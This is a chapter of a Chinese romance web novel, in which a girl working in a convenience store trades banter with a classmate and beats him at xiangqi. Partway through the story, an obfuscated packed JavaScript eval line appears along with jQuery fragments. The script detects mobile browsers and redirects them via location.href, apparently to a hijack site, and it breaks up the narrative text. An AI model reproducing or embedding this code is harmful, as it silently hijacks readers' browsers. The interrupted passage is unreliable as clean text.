9. chapter 9

作品:《无与伦比的爱情

    程意兼职的便利店一直在琥珀街,这是条老街道,铺面其实不大,但胜在吃喝用品该有的东西都有,店面地理位置好,客源主要就是附近的小区居民。


    店里面统共员工就只有程意一个人,要是她来了,刘阿姨一般不在店,吃了饭就被电话叫出门搓麻将去了。


    比起待在姑姑家的话,程意其实更喜欢这里,在那个家里她似乎只有晚上的时间才是完整的,才能安宁待在房间里。


    自从她借住在那之后,可以算是当起了隐形服务员,起先刚来的几天倒没什么,后面程讼云要看到地上哪儿脏了,就唤:“诶,阿萤这地板没法看了。”


    垃圾篓也是,一定要当她面说:“这垃圾不拿出去,夏天要生味儿了。”


    “这用不上的茶具要洗一洗,晾好搁起来。”


    “覃姐家的车钥匙要赶紧送过去。”


    ……


    毕竟是白住,她也不是多金贵的人,体贴做一下也没什么,但后来发现明里暗里总会有些活找上自己,跟自己挂钩,姑姑好像默认她很闲,就算是午睡也要敲门把她叫起来。


    程意其实挺烦的,但她并不好多说什么,冯淑琴性子软又重亲戚关系,把她送到这,她不想给她惹麻烦。


    再一个程意也没那个闲钱出去给自己找房子。


    她现在除了冯淑琴给自己的学杂费,手头上就只有不到九百块钱,都是她靠自己一点一点赚到攒起来的。


    所以当苏明明问要不要出来玩,有好多人一起,程意思考了下知道并不是简简单单吃一顿饭,于是拒绝了,问起来也没藏着掖着,打工对于她不是什么上不了台面的事。


    午后阳光清透而软绵,薄牛奶一样笼着街道,正是最慵懒的时候,知了似乎也叫累了整个夏天,临近末尾也歇了,偶尔有气无力地拖拉几声。墙根边上一棵四季不变的老榕树,叶子片儿依旧油绿得发亮,谁家孩子的气球飞走,在天上荡啊荡。


    空气里清幽的桂花味道格外清晰,清风一吹,好干净的气味,烧烤摊四季如初,支了一天又一天,飘着丝丝浅浅的孜然香。


    标准的英语语调从手机里溢出来回荡在寂静无声的店内,程意紧锁着眉,被听力倒数第二道难住,排了两个选项,笔一直在剩下两个选项里犹豫。


    滋一声,听力播放到尾音了,她咬唇,最后犹豫了五秒,心一横落在嫌疑最大那个,打算翻过来重新听一遍。


    活动活动脖子,程意微顿,以为看走了眼,再次偏头瞧去街对面,看见了陈清许。


    他穿了一件宽松版型红白条纹短袖衫,牛仔工装裤,背脊宽敞流畅,正半蹲着喂一只流浪狗。


    挺唯美一副画面,如果那只狗不是附近卖渔具家的大黄的话。


    程意刚来这条街也上过一次当,后来坐在店里,每天都能看到那只狗把自己滚得脏兮兮的,委委屈屈趴在路口。


    陈清许觉得挺不对劲的,抱着胳膊靠在树下看它吃得津津有味,目光渐渐移到大黄狗鼓囊囊的肚子上。


    他还闲着跟狗搭上腔了:“啧,你这体脂挺高的。”


    大黄翻脸不认人,只默默一味进食。


    隔壁不远处蓬伞,给架子上鸡腿刷酱的大爷还在乐呵呵招呼,说这狗惨得很,好几天没吃饭了,要不给小家伙买一个吧,再买一个。


    大黄狗这时候像是听得懂人话了,竖着耳朵,演技派配合呜呜了几声。


    陈清许蛮无语又好笑的,和大爷插科打诨,咋了,要让这狗等会回家嚼俩健胃消食片啊。


    大爷被道破,也不恼扇着蒲扇爽朗哈哈笑。


    出来买个水的功夫,陈清许没想到被团伙骗还不算,啧,怎么还碰到熟人了。


    这比泡在无聊的vr馆有意思多了。


    程意忽略不了此刻店里忽然多了个人的存在,尽管她一向点完货,都是自干自的,等客人来收银台结账就是。


    英语听力早被掐了,换成了一本数学题,挂在指尖的笔一直要落不落,心无旁骛都是假的。


    “小老板,话梅糖在哪?”


    陈清许站在那条通道头,一只手撑在货架上,嗓音慵懒很清,似笑非笑看着她。


    “第三列货架,倒数第二排。”


    “哦。”他走了,过会儿声音又传来。


    “虾条呢小老板?”


    “……你后边。”


    “荷兰豆在哪?”


    “第三排。”


    他又问:“第几列?”


    不会看吗!程意抬头,心里发泄着,可奇怪她并不想生气,但还是没好态度地瞪他:“你眼睛呢?”


    “好好好,看见了看见了,这么凶干嘛。”


    “……”


    他缴械,笑得无辜,好像逗她是多好玩的事一样,确实挺好玩的。


    拿了几包,又四处扫,有模有样拣了几样饼干麻薯,还单独拿了一袋草莓味跳跳糖,最终抱了一整怀零食来结账,又折返不慌不忙去冷柜挑了几瓶饮料矿泉水。


    程意一一扫着码。


    她知道他也是今天聚一起玩的一员。苏明明跟她说,今天有人过生日。


    阳光斜射进来,落在她手边柜台上,程意扯了条塑料袋,甩开,利落将东西都装进里面,边上有盒半敞开的棋盒,“将”在阳光下光泽而饱满,有些耀眼。


    “七十八块五。”


    陈清许向来有话直说,从不憋着,他能感觉到面前这姑娘看自己不爽,OK,他也完全接招,但他属实挺为自己委屈的,不能死的这么不清不白吧,一边扫着码,一边帮忙装,索性就问了,眼神意外的直白坦荡。


    “程意你是不是讨厌我啊?”


    很明显吗。


    很明显。


    “支付宝到账,七十八点五元。”


    那她也问,冷淡的眼睛凝着,带着某种强硬探究的魔力:“军训我晕倒那晚,是教官让你指导我的?”她后来回想,怎么都觉得不对劲。


    一盒冷藏的花生口味牛奶从塑料袋里取出来,推到她面前。


    盒身与热空气接触,水珠颗颗往下滚落,由一滴水,单位变成了团,凉丝丝的水渍碰到了她搭在桌面的手。


    程意蜷了下指尖,发烫的。


    低头,又抬起。


    “你猜?”他唇角一弯,慢条斯理地回了一句,偏不接茬,坏得要死。


    苏明明说得没错,陈清许的确长了张帅脸,但也够欠。


    十分的欠。


    陈清许发现这姑娘挺不好糊弄的,他莫名想谁以后跟她谈恋爱谁吃亏。


    “爱说不说。”程意定定看了他几秒,一瞬扭开头,阳光下面容白皙,眸色又有点倔气,耳尖却有点热。


    “下象棋吗?”这话听着像在求和。


    “我为什么要跟你下棋?”她冷冰冰回。


    陈清许叹了口气,没皮没脸地拖腔拿调:“我想跟你下行吗?程意拜托你,陪我下局棋行了吧。”


    陈清许这人分寸感极强,尤其是在跟女孩子相处上,温宜过生日,邓璟然帮忙邀了局,约了好多人又是吃饭又是玩,他看出来温宜想跟他组队,揪着裙子犹豫好几次找他单独讲话,要放在没公开表白前,他觉得没什么。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236629|166124||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可要执意一挑开,那就和正常朋友一样玩不下去,他不想陷入舆论里,他是男孩子倒还什么,那些话不痛不痒的。


    青春里的那点懵懂指不定经男生嘴里怎么打趣编排,他索性直接保持距离,出门给他们买水去,等时间一久,也就当被炎炎夏日冲昏了头脑。


    他懂距离吧,但他说不清为什么想跟程意下这盘棋,或许他们俩姓氏发音差不多?再或许,程意是唯二跟她摆谱的人?第一个是他爸。净瞎扯。


    那他如果叫温清许,他不会跟温宜下这盘棋。


    换还是小组成员也不会。


    好家伙,他琢磨这会儿功夫,还在脑子里给自己改了个姓。


    程意下棋丝毫不含糊,有点女将军的气势。


    她上学回来经常一个人在家,琴淑芬要赚钱有自己的事要忙,通常都是早上五六点悄无声息起来放好一天的饭菜在冰箱里,后来程意已经学会在妈妈晚上忙碌回来打开家门,反向为她做几道热腾腾的饭菜。


    周末白天一个人在家没事做,年纪小又不收童工,捡瓶子也捡不过大爷大妈。


    她呢,又有点自虐倾向,能做完的作业当天在学校就要做完,实在做不完背回家趴桌子上做完了才肯洗手吃饭。


    没事干怎么办,那就去楼下冰山一样阴热无阻坐在棋盘跟一群大爷们下棋,就这么被指点着五子棋象棋围棋都会一点。当然,这是谦虚的说法,别信。


    老头们的关门弟子,不是白当的。


    ……


    车二退四,退车准备防守,同时牵制红方车。


    车三平四,平车占肋道,准备进攻黑方九格。


    士四进五,补士防守。


    炮五平六,调整炮位,准备从侧翼进攻。


    程意就是这样凶猛,她始终冷静自持,一步一攻。


    他们一个坐一个站着。


    手机连续振动嗡嗡发响。


    邓璟然:“人哪去了,不是买个水吗,要渴死了啊哥!!!”


    邓璟然:“哥去哪了去哪了去哪了!!被外星人抓走了??!”


    陈清许单手快速敲字,不敢分心:“渴不死你,挖井呢等着。”


    等他熄屏一看棋局,他的将已经被包围得死死的。


    “我赢了。”尾音是扬着的,笃定的。最后几步,程意不打算走了,因为走不走就那样,她舔了下发燥的唇,面容透亮白皙,近距离能看到小小的绒毛,唇角微微挑着,有几分邪气。


    她不走这步,显得更为嚣张锐利,独占枝头,明艳得过分。告诉你呢,不好意思,输定了。


    这是陈清许人生中输得第一把棋,他其实玩得不多,甚至几乎不怎么玩,但那时候竞赛班压力大,有一阵子男生们突然刮起阵棋热,陈清许被央着陪玩过一阵,却也没输过。


    可这并不妨碍他大大方方承认。


    “是,你赢了,挺厉害啊程意。”


    他轻笑一声,盯着她,那双漂亮的眉眼独独看她,也没否认,是真的赞美。眼里似有星河,坦坦荡荡的,有独属少年人的意气风发,赢要赢个漂漂亮亮,输也输得不气垒。毫不吝啬对他人喝彩称颂。


    那刻,程意心里的山谷莫名被触了一下。


    在她慌忙垂眸,盯着被重矢包围的棋子走神之际,那盒被放置许久的冰牛奶,贴在她热乎乎的脸颊上。


    程意条件反射怕它滑落,用手快速截住。


    “走了,下回见丁香姑娘。”


    陈清许扬声,提着塑料袋,背身另一只手抬高扬了扬,高高大大的身影走去了阳光里。